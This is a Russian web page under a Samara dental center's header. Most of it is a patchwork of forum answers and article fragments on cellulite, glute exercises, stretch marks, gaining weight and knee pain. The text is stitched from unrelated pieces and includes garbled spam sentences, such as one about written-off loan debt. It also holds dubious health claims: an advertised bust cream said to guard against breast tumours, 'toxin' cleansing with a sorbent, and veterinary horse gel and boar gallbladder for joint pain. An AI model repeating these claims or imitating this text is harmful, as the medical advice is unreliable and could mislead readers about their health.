Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Целлюлит на задней поверхности бедер и на внутренней стороне сверху-его там много.Как убрать?

Бегать по вечерам, на скакалке прыгать и много не кушать.

У меня целлюлит как раз только на внутренней стороне бедра и вот на протяжении 3-х недель я каждый день делаю медовый массаж с акцентом на внутреннюю часть. Все было и есть классно...

Полезен ли вакуумный массаж? Какие у него есть противопоказания?

Противопоказания стандартные

Теперь давайте разберемся как избавиться от целлюлита на задней поверхности бедра.Повтори по 15 раз каждой ногой. Отвод в сторону Сядь на пол на боковую часть бедра, ноги согнуты в коленях.

Противопоказаия есть у всего...

При варикозе, кожных заболеваниях, близко расположенные вены

За сколько можно убрать целлюлит с помощью ходьбы на ягодицах?

Ходьба на ягодицах. записал.

Подпишитесь на рассылку, как часть ссудной задолженности была списана. Ваш подарок непременно произведет впечатление вне зависимости от того, не считая дня его стороны.Бесплатные онлайн тесты как убрать целлюлит внешней стороны бедра.

А ты не боишься. что при такой ходьбе, у тебя задница будет вот такая??? ?
Она то же ходила на ягодицах! ! Тебя это не пугает? ?

Эффект будет лучше, если добавлять Антицеллюл . крема и диету. А сроки? мы же не знаем какая стадия цел-та у вас, НО главное начать )))

Подтянуть ноги с внутрнеей стороны от колен и выше. Подтянуть попу. Какие упражнения?

Выпады с гантелями, упражнения на сведение и разведение ног.

Упражнения против целлюлита для передней части бедра Упражнение 1. Сгибание ног в коленях. Встаньте, не напрягая мышц, слегка разведите ноги в стороны.

Приседание, одно из самых эффективных методов быстрого подтягивания ягодиц. Встаньте ровно, ноги разведите как можно шире, носки «смотрят» в разные стороны, руки на поясе. Дышите ровно, на выдохе опускайтесь вниз, как можно глубже, спину держите ровно, и медленно на вдохе становитесь в исходное положение. Повторите упражнение 3-5 подходов, по 10-15 раз Упражнение «выпады с прыжком»
Данное упражнение тренирует внутреннюю часть бедра и заднюю. И позволяет убрать целлюлит с ягодичной мышцы. Станьте ровно, ноги немного расставлены, руки на поясе. Правую ногу выставите вперед как можно дальше и присядьте на нее, колено левой ноги не прикасается к полу. Перенесите тяжесть тела на правую ногу и поднимайтесь, встаньте на носочек правой ноги, подпрыгнув, при этом левую ногу согните в колене и подтяните как можно выше к груди. Вернитесь в исходное положение и повторите упражнения с другой ноги. Сделайте 3 подхода на каждую ногу по 10-15 раз. Упражнение №3
Лягте на фитнес-коврик. Лежа на спине, согните ноги в коленях руки разведите в стороны. На счет раз поднимайте таз вверх, чтобы спина была ровной, опора на плечи и ноги, на счет два медленно опускайтесь в исходное положение. Данное упражнение хорошо подтягивает ягодицы. Делайте 3-5 подходов по 15-20 раз. Желаю удачи и чтоб попа была как орех;)

Делай с приседом жим ногами и сгибание ног в тренажере

Поза "наездница"

Катерина, на всякий случай предупреждаю что приседы с тяжелой штангой допустимы только если у Вас нет артроза в коленных суставах. Лучше приседы со штангой разучивать с тренером, пол тренера не важен, главное - знания и благожелательность к Вам.
Успехов!

Попробуйте в дополнении специальные обертывания. В купе с правильным питанием и спортом это только положительно повлияет на вашу кожу. Плюс профилактический и спортивный массаж http://www.fitosandra.ru/uslugi/rasslablyayushchiy-massazh/profilakticheskiy-massazh/

Оборудование данная часть бедер у многих женщин является известной проблемной зоной. Приведение ее в тонус не только поможет успешно бороться с целлюлитом, но и сделает вас более сильной и устойчивой. Лягте на пол, спина прямая, руки раскинуты по сторонам для...

Как быстрее накачать мышци ягодиц?

Заниматься сексом в позе "женщина сверху".

Упражнения от целлюлита на попе хорошо действуют также на заднюю поверхность ног.Упражнение аналогично первому в комплексе для бедер, но ноги следует ставить на ширину плеч и не разводить в стороны колени.

На велике ездить. километров 60 например хотя бы раз в неделю.

Хочешь большую задницу без целлюлита? Хочешь чтоб все парни смотрели на неё? Если да, то делай приседания с весом и становую тягу и возможно через месяц другой ты скривишь своей задницей член любого парня.

Лучше всего попеременные выпады с гантелями по 8 -15 раз! И тогада будет все прекрасно

Спорт зал ...

Лучше всего прорабатывает ягодицы становая тяга.

Очень часто целлюлит поражает заднюю поверхность бедер. О его существовании можно даже не догадываться. Один случайный взгляд через плечо в зеркало может стать причиной неприятного открытия.

Лучшее упражнение для ягодиц, нижней части спины и задней части бедра это наклоны с отягощениями (штанга, гантели) . Очень важно держать спину прогнутой и немного напряженной в пояснице, т к упражнение травмоопасно. Ноги на ширине плеч или немного уже, штанга или гантели на вытянутых руках, спина прямая с прогибом в пояснице (постарайтесь прижать ягодицы к лопаткам) , взгляд должен быть направлен немного вверх а не на зеркало или в сторону, ни в коем случае не ложите голову на грудь. Если гибкость не позволяет в наклоне прогнуть поясницу, можете немного согнуть ноги в коленях. Максимальное внимание уделяйте спине, в области поясницы.
Для тренировки мышц таза и ягодиц, можно выполнять приседания в широкой стойке (приседания сумо) , при этом ноги ставятся шире плеч, при приседаниях колени не выводить за свод стопы, старайтесь держать голень перпендикулярно полу, как при посадке на утитаз. Т е ноги от пола до колен, должны быть как можно неподвижнее. Приседать с наклоном вперед. Глубоко приседать не обязательно. Выполняя приседания медленно, почувствуете, какие мышцы работают. Если ноги поставить в узкую стойку, нагрузка ляжет на бедра. Спину держать также прогнутой и напряженной, это не просто эротично, это необходимая мера безопасности.
И желательно не выполнять оба этих упражнения в один день.
Можно отводить ногу назад, при небольшом наклоне туловища, но здесь надо или прикреплять груз к голени или выполнять упражнение на специальном тренажере. И это упражнение рассматривайте скорее как вспомогательное.

Тебе не знаю, а вот мужикам знаю секс помогает)

Как накачать заднюю сторону мышц?? то,что под попой! только не говорите ПРИСЯДАНИЯ пожалуйста.

ПРИСЯДАНИЯ пожалуйста.

Мышцы внутренней стороны бедра напрягаются нечасто, поэтому здесь нередко ... целлюлита на задней части бедер Предлагаемые упражнения против целлюлита эффективно укрепляют ... ...Проблема дряблые ягодицы и задняя поверхность бедра, целлюлит.

Встать на четвереньки и ноги вверх задирать...

А что с твоей попой не так?:)

Почаще поднимайся по лестнице с грузом на спине или по поднимайся по самому длинному эсколатору в метро

Лечь на пол, ноги подошвой на стул, руами держаться за ножки стула, попу вверх - вниз.

Очень хорошо и быстро можно накачать - встаешь на колени, руки на ширине плеч, тоже на пол, ногу согнутую в коленке, как и стоишь, поднимаешь вверх (пяткой в потолок) , очень эффективно, главное регулярно делать и увеличивать нагрузку, но лучше упражнения делать в комплексе!!!)))

Сесть на пол на боковую часть бедра, ноги согнуть в коленях. Вытянуть руки вперед и немного в сторону, ладони направлены вниз.Упражнения для задней поверхности бедра.

Как убрать жир с попы?

Хочу избавится от целлюлита и растяжек! Помогите!

Физкультурой надо заняться)

Целлюлит встречается редко у мужчин, из-за структуры соединительной ткани.Положите подушку между колен внутренняя сторона бедра и сожмите максимально колени вместе.Задняя поверхность бедра. Исходное положение стоя. Встаньте спиной перед стулом...

Целлюлит - это локальное увеличение жировых клеток и нарушение микроциркуляции в жировой ткани. В следствии этих процессов целлюлит появляется на животе, бедрах, ягодицах, боковых участках коленей и руках. И причем не всегда пресловутая "апельсиновая корка" соседствует с полнотой, хотя у дам с избыточным весом она выражена сильнее и заметнее, чем у худых.
Развитию целлюлита способствует наследственная предрасположенность, возрастные изменения, гормональный дисбаланс, пониженная функция щитовидной железы, нарушение кровообращения и обмена веществ, курение, стрессы, ношение тесной одежды, неправильное питание.
Лечение целлюлита
Основные средства против целлюлита - это лимфодренаж, мезотерапия, крема и гели. Остальные либо малоэффективны либо не эффективны вообще.
Лимфодренаж и мезотерапия.
Лимфодренаж и мезотерапию должны делать в медицинских центрах (парикмахерские и солярии к ним не относятся!) , в крайнем случае - в косметических салонах с лицензией на проведение подобных процедур.
Лимфодренаж основан на принципе обычного массажа, который проводят с помощью импульсных токов, микротоков, вакуума, перепадов давления и ультразвука. Мезотерапия при всей загадочности названия - всего лишь внутрикожные уколы. Эффект от всех этих процедур несомненно есть, но чтобы старания не пропали даром на профилактические процедуры придется ходить все жизнь или до тех пор, пока целлюлит будет волновать вас больше потраченных на его ликвидацию денег, времени и нервов.
Позволить себе пожизненную борьбу с целлюлитом такими способами могут только очень состоятельные дамы. Курс лимфодренажа в зависимости от схемы (минимум 10 процедур) стоит 250- 500 долл. За удовольствие обколоться на мезотерапии придется выложить не менее 50 долл. за сеанс ( а их нужно не менее 10). Таким образом в год будет уходить от 2 до 5 тысяч долларов.
Растяжки легче предотвратить, нежели упорно избавляться от них. Главный принцип, на котором строится комплекс профилактических мер, - поддержание эластичности кожи, которая зависит от наличия в соединительной ткани нужного количества коллагена и эластина. Это достигается при помощи правильного питания, массажа, использования специализированных кремов и гелей. Немаловажное значение имеет поддержание стабильного веса: резкие колебания массы тела при ее увеличении или похудении способствуют появлению растяжек.
В профилактических целях, на всякий случай, для разглаживания кожи рекомендуется принимать ванну с добавлением столовой ложки хвойного экстракта. Блаженствовать 15 минут при температуре воды 38 градусов.
Попробуйте такой способ: 350-500 г крахмала размешать в 2-5 литрах холодной воды, которую затем влить в подготовленную ванну.
Питание против растяжек
Вам в меньшей степени будет угрожать появление на коже растяжек, если будете употреблять пищу, богатую минеральными веществами и витаминами. Молочные продукты обеспечат достаток кальция, рыба подкрепит организм фтором, мясо и бобовые – железом, а томаты и бананы – калием. Также следите за тем, чтобы в вашем рационе присутствовали соевое и оливковое масла, витамины А и Е.

Ратяжки не убираются
только кремом можно сделать менее заметными их
а целлюлит
упражнения
физ нагрузка
массаж
и поменьше вредной пищи

От растяже помогает масло какао ( идет как крем для тела).... целлюлит у вас может быть по-наследству, и следите за тем, что едите, нет майонезу и не помню чему еще там.... всякие крема и прочие наружные средства по моему мнению не эффективны....

Придется записаться в спортклуб и начать потихоньку подкачивать мышцы. и у вас все исправиться.

Целюлит и растяжки это не конец света. если на этом зациклица может съехать крыша. просто наслаждайтесь жизнью

Часть 1 и. Руки задняя верхняя часть трицепсов и ягодицы живот абдоминальная. . При таком варианте, почти все дамы совершают оплошность, пытаясь применить одинаковую методологию борьбы с целлюлитом на бедрах и ягодицах.

Даю установку....

Посмотри здесь . Очень хорошая косметика, славится как раз антицеллюлитными программами. Я и сама ею пользуюсь, эффект есть. От растяжек у них тоже очень хороший крем. Но от старых растяжек он уже не поможет. А от целлюлита лучше делать обертывания в сочетании с кремами. Ну спорт и диету, конечно, тоже никто не отменял. ))

Апи-бюст
Состав:
прополис, мед, эссенция из пчелиного настоя, содержащая пчелиный яд в микродозах, пчелиная обножка, настойка хрена, сосновая живица.
Бюст во все времена был предметом пристального внимания женщин. В старину для женщин высоких сословий даже было не позволительно кормить собственным грудным молоком младенцев – для сохранения форм. Сейчас учеными доказано, что кормление грудью необходимо и для матери, и для ребенка – это обеспечивает прочную эмоциональную связь ребенка с матерью и миром. Но, к сожалению, ни возраст, ни кормление не способствуют улучшению внешнего вида бюста. В результате больше половины женщин среднего возраста не довольны формой груди.
Кожа шеи и области декольте значительно нежнее кожи тела и стареет гораздо раньше, а значит, нуждается в специальном уходе.
Комментарии эксперта
Ирина Хисматуллина, Центр исследований и сертификации «Федерал» :
Этот крем создан специально для женщин - ДНК-редуцирующие нуклеазы работают на восстановление и поддержание красоты и здоровья женской груди. Омолаживающая субстанция крема «АПИ-Бюст» нежно ухаживает за самой деликатной частью женского тела, параллельно осуществляя массаж молочных желез, декольтированной части груди, шеи, в результате чего происходят важнейшие положительные физиологические процессы. В частности, такой массаж способствует улучшению местного кровообращения, общего гормонального фона организма.
Известен исторический факт – жены бортников применяли смесь из меда, прополиса, пыльцы и сосновой живицы для поддержания формы бюста и защиты от риска возникновения мастита, различных мастопатий и даже новообразований молочной железы. Благодаря особому режиму питания и таким уникальным средствам ухода жены лесных пчеловодов надолго сохраняли свою женскую привлекательность и сексуальность.
Применение продуктов пчеловодства помогало справиться с растяжками, возникавшими в результате грудного вскармливания, и дряблостью кожи – поддерживающие ткани укреплялись, грудь становилась упругой, ее эстетичный внешний вид был безупречен. Уникальная формула крема «Апи-Бюст» во многом повторяет составы, которыми жены бортников пользовались для поддержания красоты много веков назад – она настолько эффективна, что может изменить в лучшую сторону всю жизнь!
Советы по применению:
Крем наносится ежедневно или через день на влажную кожу шеи, бюста, декольтированной части груди мягкими массирующими движениями. В течение 7-9 дней. Периодичность проведения подобных циклов - не менее 1 раза в 3 месяца.

1. Перестала есть после 7, максимум нежирный йогурт на ночь.
2. Вливала себя просто силой чистую воду без газа, около 1, 5литра в день (хотя говорят надо около 3х)
3. Откапала у себя в косметике Гарниер с массажером против выраженного целлюлита, Антицелюлитный крем сауна "Витэк" и применяла их так: Гарниер утром, около 5 минут массируя, Витэк вечером (намазанные места заварачиваем в пищевую пленку на 15 мин) и чтоб эффект был в 2 раза сильнее, делала следующие упражнения:
-Упражнения для внутренней поверхности бедер.
Поставьте ноги чуть шире плеч, носки максимально развернуты, спина абсолютно прямая. Выполняйте приседания, угол между корпусом и бедром должен составлять 90°. В точке максимального напряжения задержитесь на 5 секунд или сделайте несколько мелких пружинистых приседаний. Повторите 5-10 раз.
-Упражнение для укрепления мышц наружной поверхности бедра и устранения «галифе»
Лежа на боку, согните ноги в коленях под углом 90° к туловищу. Не размыкая стоп, поднимите бедро в медленном темпе, в точке максимального напряжения мышц задержитесь на 2-3 счета, затем также медленно опустите ее. Повторите 5-10 раз. Затем повернитесь на другой бок и выполните упражнение другой ногой.
- Упражнение для укрепления ягодичных мышц
Лежа на спине, колени согнуты, стопы на ширине плеч. Напрягая ягодичные мышцы, поднимайте таз кверху. В самой верхней точке постарайтесь задержаться на 3-5 счетов. Затем медленно опускайте таз и, не касаясь пола, поднимите вновь. Повторить 10 раз.
-Упражнение для укрепления мышц брюшного пресса и косых мышц живота. Формирует тонкую талию
Лежа на спине, руки под головой, голень правой ноги находится на левом колене. Напрягая нижнюю часть брюшного пресса, поднимите ноги, не меняя при этом положения ног. Затем приподнимите верхнюю часть тела, напрягая верхнюю часть брюшного пресса. Сохраняя верхнюю часть тела приподнятой, подтяните правое колено к правому локтю. Удержите это положение 5 счетов, затем медленно опуститесь на пол. Начните с 5 повторений, постепенно увеличивая их число. Затем выполните все с другой ноги.
4. Когда принимала ванну терла проблемные места массажером
5. Из физических упражнений: приседала по 50 раз в день и 20 мин ездила на велотненажере ( у кого его нет, делайте зарядку и физические упражнения хотя бы 30 ми в день, или еще выход - скакалка! Тоже минут 30 в день - эффект радует)
6. Раз в неделю делала баночный массаж на бедра и задницу) другие места, как например животик, трогать баночным массажем нельзя. Смазываешь проблемные места антицеллюлитным кремом, ОБИЛЬНО (а лучше маслом) и водишь банку туда-сюда минут 10. Больно, а что делать.. .
7.и через каждые 2 дня делала медовый массаж. Пару ложек меда плюс несколько капель грейпфрутового масла и хлопаешь себя по заднице или по бедрам хотя бы минут 5. Руки болят больше чем задница но результат просто потрясающий.

Как убрать "ушки на попе" или попросту галифе? Подскажите упражнения, диету, домашние процедуры и салонные-)

Там нет мышц только косметические процедуры

Эффективные упражнения от целлюлита для мышц бедер и ягодиц.Разверни бедра наружу. Согнутые в коленях ноги должны лежать на внешних сторонах бедер. Позиция напоминает бабочку с раскрытыми крыльями.

Бег

1000 раз аэробика, упр-я укрепляют результат, правильное питание

Екатерина Рогачева - мышцы есть везде, не пишите глупостей, не вводите людей в заблуждение.

Есть там мышцы!!!! Нужно подтянуть попу и бедра (выпады, приседания, становые тяги, упражнения на коврике как из шейпинга и пилатеса (можно с весами на ноги) ) и интенсивную аэробную нагрузку на регулярной основе (бег, скакалка, танцы интенсивные (типа зумбы) , плавание (только быстро) , велотренажер, кикбоксинг, аэробика) и следить строго за потреблением сладкого, мучного и жирного (я от сладкого реально целлюлитом зарастаю).

Чтобы эффективно похудеть, Вам сначала нужно почистить организм от токсинов и шлаков с помощью сорбента (поробуйте Полисорб) . А потом сесть на диету и подобрать физические упражнения.

Встаем на колени. бепантен эмульсия от растяжек купить Как убрать целлюлит с задней части бедра Руки поднимите на 90 градусов перед собой. Отведите их в сторону, а сами присядьте на противоположную ногу в позе русалочки.

1
Встаньте прямо, ноги вместе, руки на поясе. На вдохе сделайте выпад влево, и пружиньте вверх – вниз не менее 30 секунд. С выдохом снова соедините ноги вместе. На вдохе сделайте выпад вправо, пружиньте такое же количество времени. Отдохните 1 минуту и сделайте еще по 2 подхода в обе стороны.
2
Исходное положение не меняйте. С выдохом сделайте выпад вперед, опустите пах как можно ниже. На вдохе вернитесь в исходное положение. Повторите выпад левой ногой. Сделайте упражнение 20 раз каждой ногой.
3
Встаньте около стены правым боком, придерживайтесь за нее рукой, левую ладонь положите на пояс. Делайте махи вперед назад левой ногой в течение 3 минут. Повернитесь к стене левым боком и повторите махи правой ногой. Повернитесь к стене лицом и проделайте махи каждой ногой по очереди слева – направо.
4
Встаньте на колени, руками упритесь в пол под плечами. На вдохе поднимите согнутую в колене правую ногу, отведите ее в сторону, и делайте пружинящие движения вверх – вниз 1 минуту. Сделайте упражнение на левую ногу.
5
Стоя на коленях, опуститесь на предплечья рук. Отведите назад правую ногу, на вдохе поднимите ее максимально вверх, с выдохом опустите, но не касайтесь пола. Сделайте 20 подъемов. Повторите упражнение на левую ногу.
6
Лягте на спину, колени согните, пятки поставьте около ягодиц. На вдохе поднимите бедра вверх как можно выше. Делайте пружинящие движения вниз – вверх 2 минуты. Затем лягте на пол, притяните колени к груди, и расслабьте заднюю поверхность бедер и ягодицы.

Как поправиться подскажите?, после вторых родов вешу41кг.(((

Займитесь бодибилдингом
1.Есть спорт, который существует как будто специально для Вас, мои милые худышки, и называется он - бодибилдинг.
Почему именно он? Да потому, что с помощью бодибилдинга можно получить те самые формы, и формы у Вас будут из мышц, а не из целлюлита и жира.
Спокойно, никто Вас не заставляет по нескольку часов проводить в тренажерных залах, таская килограммовые гири. Существую программы, выполняемые дома за 15-20 минут в день, а результат будет ничуть не хуже спортзального. При регулярных упражнениях за пару месяцев можно сделать красивые бедра, попу и икры.
Вот эффективное упражнение для грудных мышц. Делает грудь заметнее, выше и более подтянутой.
Лягте на скамью (или, к примеру, на журнальный столик) . Из исходного положения (согнутые руки с гантелями находятся возле плеч) выжмите вес вверх до полного распрямления рук, затем медленно опустите гантели вниз. Сделайте три подхода по 10 повторений.
«Мостик» с грудным жимом поможет укрепить мышцы груди, задней поверхности бедер, ягодиц, передней поверхности плеч и трицепсы.
Лягте на спину, согните колени и упритесь стопами в пол. Разведите руки в стороны на уровне плеч и согните их под прямым углом: ладони смотрят внутрь, предплечья параллельны друг другу. Напрягите пресс и оторвите ягодицы от пола: тело должно образовать прямую линию от головы до коленей. Сохраняя это положение, выпрямите руки над грудью. Согните локти и повторите жим 4-6 раз, а затем опустите ягодицы на пол. Не делая пауз, повторите всю последовательность действий еще раз.
2.Белок, белок и еще раз белок, особенно после тренировки. Если вы тренируетесь дома, купите белковый коктейль, он есть почти в каждой аптеке.
Ваши продукты - это: яйца, орехи, сметана, сливки. Стакан сметаны или сливок каждое утро натощак тоже поможет поправиться. Мужчины еще советуют сметану с пивом, но, во-первых, это жуткая гадость, а во-вторых, от этого коктейля Вы скорее всего приобретете не формы, а животик.
3.Спите побольше!
Верное средство не чувствовать усталости и иметь привлекательные формы - это сон. Если есть возможность чуть вздремнуть среди дня или полчасика поваляться на диване после работы - это очень хорошо и для фигуры, и для самочувствия.

Это увеличивает нагрузку на заднюю поверхность бедра. Следим за сохранением этого натяжения.Теперь поговорим как убрать жир с внутренней стороны бедер наиболее эффективными и несложными упражнениями.

Избавиться от дизбактериоза, пить "простую" активию

Мне бы твои проблемы..)))))

Порой набрать вес так же сложно, как и сбросить.
Для начала стоит предупредить: излишняя худоба может сигнализировать о наличии серьезных заболевания. Если вы худеете с каждым месяцем, несмотря на регулярное питание и нормальный отдых, стоит срочно проконсультироваться у врача. Вероятно, причина проблем с весом эндокринные нарушения, из-за которых одни бесконтрольно набирают вес, другие теряют.
Если же со здоровьем все в порядке, и вы с детства отличались худобой, можете без страха начать набирать вес. Как? Придется сесть на диету.
Самое распространенное заблуждение: чтобы поправиться нужно есть как можно больше, причем не забывать включать в рацион булочки, пирожные и прочие бессмысленные калории. На самом деле есть нужно столько, сколько хочется. Зачем объедаться? Даже если вы с героическими усилиями все-таки съедите пятнадцатую сосиску, вес не прибавится, а проблем с желудком не избежать.
Раньше диетологи советовали: чтобы поправиться, нужно есть 5-6 раз в день, причем не допускать чувства голода в течение дня и вовремя перекусывать. Сегодня же эту популярную точку зрения раскритиковали и призвали принимать пищу ровно три раза в день, в одно и то же время.
Чувство голода необходимо утолять обильными (а точнее, достаточными) порциями. Режим в данном случае самое главное. Стоит полгода питаться в одно и то же время, и вы заметите разницу. Почему не стоит набирать вес с помощью обжорства? Такой способ питания ускоряет и без того слишком быстрый (у худых людей) метаболизм. При этом пища просто не успевает перевариваться и усваиваться. Так что, придерживайтесь умеренности.
Причиной худобы зачастую является отсутствие аппетита. В результате число приемов пищи может сократиться до одного в сутки. В этом случае необходимо стимулировать аппетит: например, минут за двадцать до обеда выпивайте стакан фруктового или овощного сока. Разбудить аппетит могут пикантные мясные закуски, несколько штук японских роллов или небольшое количество любой другой экзотической пищи.
Питание людей, желающих как можно скорее набрать вес, должно быть белково-углеводным. Соотношение белков, жиров и углеводов выглядит примерно следующим образом: 45% углеводов, 30% жиров, 25% белков. Если вы понимаете, что "недобираете баллов" по жирам, пейте жирный кефир или молоко.
Из белковых продуктов больше всего полезна курица куриное мясо легче всего усваивается и помогает формироваться мышечной ткани. Вам же нужен настоящий мышечный вес, а не бесполезный жир в самых неподходящих местах? Углеводы содержатся во всеми любимых сладостях, макаронах, картофеле и т. д. Однако и худым следует знать меру обилие сладкого может нарушить процесс пищеварения.
Любая диета должна быть подкреплена физическими упражнениями, и диета "для худых" исключения собой не представляет. Основной нюанс упражнения должны быть непродолжительными и неизнуряющими. Занимайтесь по самой щадящей программе. Единственная задача физической нагрузки во время набора веса распределять калории по всему организму. Изнуряющие тренировки приведут к формированию худого, но жилистого тела, в котором, согласитесь, мало прекрасного.
Какие занятия предпочесть? Йога, плавание и обычная домашняя зарядка. Если вас беспокоят худые ноги и слабые руки, займитесь соответствующими группами мышц. Не забывайте об упражнениях для укрепления мышц спины кривой позвоночник зачастую препятствует хорошему пищеварению и стимулирует снижение веса.
Что делать, если по прошествии нескольких месяцев вы не заметили улучшений? Психологи считают, что худым людям не позволяют поправиться собственные психологические установки, как правило, подсознательные. Некоторые боятся, что вес выйдет из-под контроля, и позже придется лечиться от ожирения. Некоторые корят себя за каждый проглоченный кусок. Некоторые настолько уверены в собственной непривлекательности и невозможности поправиться, что любые диеты не приведут к успеху.

Кушай

Счастливая вы женщина!

Целлюлит на бедрах.на поверхности бедра, граблеобразно под углом 30-40 градусов, со смещением руки массажиста с каждым повторением в сторону, до обрабатывания всего бедра.Массаж задней поверхности бедра проводится теми же упражнениями,что и для передней...

Девушки/женщины, помогите в борьбе с целлюлитом.

Спортом займись и пей достаточно воды..

Массируется в основном лишь наружная поверхность бедер. На область внутренней поверхности глубокий целлюлит-массажБоковое положение пациента значительно экономит время массажа без потери качества, т.к. передняя и задняя поверхности бедер...

Упражнения на заднюю часть бедра - обязательно. Больше двигаться, крем купите - подтягивающий (без спорта - не работает) .
Примерные упражнения: приседания (от 20 и выше) , бег на месте (стараясь бить себя ногами взади) , отведения ног назад и в стороны.
За сколько избавитесь - это, зависит от степени выраженности целлюлита, и от вашего желания и стремления избавиться от него.

Лучше всего качать пресс или кефир пить на ночь

Попробуйте сочетать упражнения, которые вам посоветовали ранее с антицеллюлитной косметикой. Я сама пользуюсь такой, cell-plus называется. Думаю, что если сейчас начнете работать над собой, к лету успеете избавиться от целлюлита.

От целлюлита поможет только LPG массаж

Если в москве то прошу я помогу пишите жду

Укрепление мышц задней поверхности бедер. Упражнения для других мышц бедер вы можете посмотреть на сайте http www.furor-dance.ru.

Ледяной душ каждый день по чуть-чуть. Направляй струю на места там где целлюлит. Мне помогло! Можно еще мочалкой тереть, самомассаж делать. А упражнениями и питанием целлюлит не уберешь!

Болит коленный сустав. Есть какие-нибудь препараты?

Народное- прикладываете ошпаренный капустный лист к колену и приматывайте шерстью и спите ночь. Из простых медикаментов- любая мазь с диклофенаком. Очень хороши препараты- не смейтесь- для лошадей, они очень хорошо лечат суставы - Гель 2 в 1 ALEZAN охлаждающе-разогревающего действия обладает противовоспалительным и обезболивающим действием.
Крем-гель ALEZAN для суставов оказывает противовоспалительное и обезболивающее действие на травмированный сустав.

Упражнения для мышц задней поверхности бедер Примите положение лежа, согните ноги в коленях и поднимайте ягодицы вверх.Упражнения для мышц бедер, пресса, ног Встаньте прямо, ноги на ширине плеч, напрягите пресс, руки с гантелями разведите в стороны.

Может это покажется смешно но очень эфективно: сукой желечный пузырь кабана, правда собака он оч дорогой, но у меня батя охотник, так что у меня его много, помогает, при любых болях в суставах!

Ну ты тоже уже скрипучая... а совет дельный могут как раз дать пенсионеры, у них ведь только опыт есть лечения этой стариковской болезни.. .
Это называется артроз коленного сустава, скорее всего. Боли можно снять мазями или гелями, при сильных болях лучше сначала брать на основе диклофенака ( Вольтарен, Диклак) . Но этими мазями можно пользоваться не более 2-х недель. А потом перейти на Фастум гель, Финальгель ( не путать с ФИНОАЛГОНОМ) , Найз, Нимулид. Когда основные боли снимешь, то нужно применять мази с хондропротекторами, например Хондроксид ( мазь или лучше гель) . Это для возрождения хрящевой ткани. Можно при сильных болях и компрессы делать из разведенного по инструкции димексида, а потом - мази, и шерстяной наколенник.
Учти, что это болезнь, которую излечить нельзя. Можно только приостановить процесс и снять болевой синдром. Так что давай, старушка, лечись теперь всю жизнь, не унывай.

Почитайте о артрозе коленного сустава. Обязательно сходите к врачу, пусть сделают УЗИ и рентген. Первая стадия артроза незаметна, но симптомы схожи с вашими. Мазать кремами - упускать время.
>Возможно есть какие-то препараты для лечения сустава. Подскажите?
Кхммм. Нет таких. Можно только остановить развитие болезни. С коленными суставами не шутят. Травками припарками не вылечить.

Обратной дороги нет. Костная и хрящевая ткань обновляется более 10 лет. Пейте пока нестероидные препараты индометацин и производные, применяйте мази на этой основе. Как привыкните (или ЖКТ не позволит) переведут на гормональные уколы в сустав типа кеналога, могут направить в ЦИТО, предложить обследование, лечение импортными препаратами тысяч за 10-15 евро, далее предложат замену сустава (с лечением) если нет никаких льгот встанет в цену московской квартиры (импортное) . Называется реверс спорта.

Что делать при боли в коленном суставе
Коленный сустав - один из тех суставов нашего тела, которые несут основную нагрузку и поэтому в наибольшей степени подвергаются изнашиванию у средне активного человека. Если ваша работа связана с необходимостью нагибаться или сидеть на корточках, то вероятность повреждения за счет чрезмерной нагрузки и/или травмирования коленного сустава увеличивается.
Приведенная ниже схема поможет вам принять правильное решение, если у вас боль в одном или обоих коленных суставах.
Условия, которые могут стать причиной болей в коленном суставе
В коленном суставе и вокруг него могут также возникать проблемы, не связанные напрямую с травмой или перегрузками.
- Остеоартрит (дегенеративная болезнь суставов) может вести к боли в коленном суставе, которая сильнее всего по утрам, и уменьшается в течение дня. Он часто развивается в месте бывшей травмы. Другие типы артрита, такие как ревматоидный артрит, подагра, и волчанка, также могут вести к болям, опуханию и скованности колена.
- Болезнь Осгуда-Шпаттера причиняет боль, припухлость и болезненность передней части колена ниже надколенной чашечки. Она часто встречается у мальчиков-подростков в возрасте от 11 до 15 лет.
- Подколенная киста (или киста Бейкера) является причиной опухания задней части колена.
- Инфекция в коже (целлюлит) , суставе (инфекционный артрит) , кости (остеомиелит) , или синовиальной сумке (септический бурсит) может вызывать боль и ограниченность движений в коленных суставах.
- Иногда боль в коленном суставе может вызывать проблема в других частях тела, например, такая как сдавленный нерв или проблема в бедре.
- Рассекающий остеохондрит становится причиной боли в коленном суставе и тугоподвижности, когда кусочек кости или хряща, или и того и другого внутри коленного сустава лишается подачи крови и отмирает.
К каким врачам обращаться, если возникает боль в коленном суставе:
Ревматолог.
Травматолог или ортопед.
Физиотерапевт.
Массажист или мануальный терапевт.

Упражнения для задней поверхности бедра помогут сделать ноги сильными и красивыми. Большинство женщин считают ноги наиболее проблемной частью своего тела. Известно, что целлюлит и лишние жировые отложения в этой области с трудом поддаются корректировке.

Конечно есть, тем более в Петербурге....

Массаж випросалом поможет

Не как не могу избавиться от целлюлита! ! девушки, помогите своими советами (ТЕ КОМУ РЕАЛЬНО ПОМОГЛО)!!

Массаж и упражнение но делать надо постоянно

У кого целлюлит на ж.. попе, у кого сзади, а у меня на внутренних поверхностях бедер!Я что то тоже не слышала о том, что массаж на внутренней стороне бедра нельзя делать, может и правда вам сходить к специалисту с этим вопросом?

Абсолютно народное средство - бег

Иди к врачам.

Народные? - не смеши
аппаратная косметология и обертывания уберут

Народыми? Можешь забыть тогда. Антицеллюлитный массаж + нормальное питание + спорт.

Скраб "Лакшми".
Ингредиенты:
1/2 стакана сахара
1/2 стакана морской соли Показать полностью..
1/2 стакана оливкового масла "Extra virgin"
1/2 стакана меда
эфирные масла ( иланг-иланг, пальмароза, апельсиновое, ромашковое, в общей сложности 30 капель )
1 ст. ложка масла ши
1 ст. ложка масла какао
25 гр. корицы
25 гр. сухого имбиря
25 гр. какао-порошка
Приготовление:
Смешать морскую соль и сахар, добавить оливковое масло и ваши любимые эфирные масла. Их должно быть не более 30 капель в общей сложности. На водяной бане растопить мед, в него, постепенно помешивая деревянной ложечкой, добавить сухие ингредиенты - имбирь, какао, корицу. Когда мед полностью расплавится, немного остудить и перелить получившуюся смесь к соли, сахару и оливковому маслу.
Можно хранить скраб в чистой баночке. Для одного раза достаточно всего пары ложек. Делала пару раз в неделю после душа, целлюлит заметно сократился, результатом я довольна и пользуюсь до сих пор.

